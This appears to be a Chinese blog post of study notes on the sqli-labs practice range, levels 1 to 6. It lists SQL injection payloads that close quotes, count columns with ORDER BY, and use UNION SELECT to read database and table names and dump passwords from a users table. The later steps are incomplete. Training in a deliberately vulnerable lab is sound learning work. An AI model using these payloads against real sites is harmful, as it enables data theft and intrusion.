sql_labs靶场练习

符号含义:(1)?:作用为注释一个变量

(2)--+:+在这里相当于空格;整个是注释

判断字段数:?id=x'(可变) union select 1,2,3 --+   [1,2,3表示第几个字段]

判断字段数:?id=0' order by x --+     [其中可以先给x从小到大赋值,直到报错,就可知道字段数了]

判断注入点:?id=1 and 1=2

闭合注入点:?id=1 'and 1=2 --+         ?id=1 'and 1=1 --+  

查询数据库:?id=0' union select 1,2,database(); --+     [database()意为返回当前数据库名称]

查询表名。group_concat函数用法:?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

访问表里面的数据:?id=0' union select 1,2,group_concat(password) from security.users --+

查询列名?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

一.less-1

1.判断字段数(是3的时候无反应,而4报错,显然字段数是3)

2.查询库名

 

3.查询表名

5.查询列名:(?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 或者'emails'或者'uagent'--+)此处省略

6.查询列中数据:

二.less_2

 1.判断注入点报错,说明1=2被执行,说明源代码没有闭合。其余步骤与第一题类似```````

 三.less-3

 

 在有注释和没有注释的情况下都报错说明两种情况下1=2都被执行了,说明必然在外面还存在一个闭合符号

 

 没有报错,说明猜想成立。源代码必然是('id')的形式;

2.判断字段数输入很多组数据,知道有三个字段;

3.查询数据库:

4.查询表

5.查询列名

6.查询列中数据

 四.less-4

1.判断注入点http://sql-labs:8000/less-4/?id=1%27%20and%201=2--+

 http://sql-labs:8000/less-4/?id=1%27%20and%201=2

 http://sql-labs:8000/Less-4/?id=0%22%20and%201=2???????????????????????

 说明是“闭合

2.判断字段数:

3.查数据库

``````````````````````````````````````````````````````````````````````````````````````(此处省略)

查表中数据 密码

五.less-5

 1:判断注入点不报错,说明在‘处有注入点

2.判断字段数:

 六.less-6

 

 

````````````````````````````````````````````````````````````````我···

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于搭建SQL实验室的靶场,你可以按照以下步骤进行操作: 1.选择合适的操作系统:选择一个适合你的需求的操作系统,例如Windows、Linux或者Mac OS。 2.安装数据库管理系统:选择一个适合你的需求的数据库管理系统,例如MySQL、Oracle或者SQL Server。根据你选择的操作系统和数据库管理系统,按照官方文档或者教程进行安装。 3.创建实验数据库:在数据库管理系统中创建一个新的数据库,用于进行实验。你可以使用SQL语句或者图形化界面来创建数据库和表。 4.导入样本数据:为了进行实验,你可以导入一些样本数据到你的实验数据库中。这些样本数据可以是现有的数据集或者你自己创建的数据。 5.设置用户权限:为了保护你的实验环境,你可以为每个用户分配不同的权限。这样可以限制用户对数据库的操作范围,防止误操作或者数据泄露。 6.编写实验任务:根据你的需求,编写一些实验任务。这些任务可以包括查询优化、数据分析、性能调优等。确保任务具有挑战性和实践性,能够帮助用户提升SQL技能。 7.提供访问方式:为用户提供访问实验环境的方式,例如通过命令行工具、图形化界面或者Web界面。确保用户能够方便地连接到实验环境,并且能够执行实验任务。 以上是搭建SQL实验室靶场的一般步骤,具体操作可以根据你的需求和技术栈进行调整。希望对你有所帮助!如果还有其他问题,请继续提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值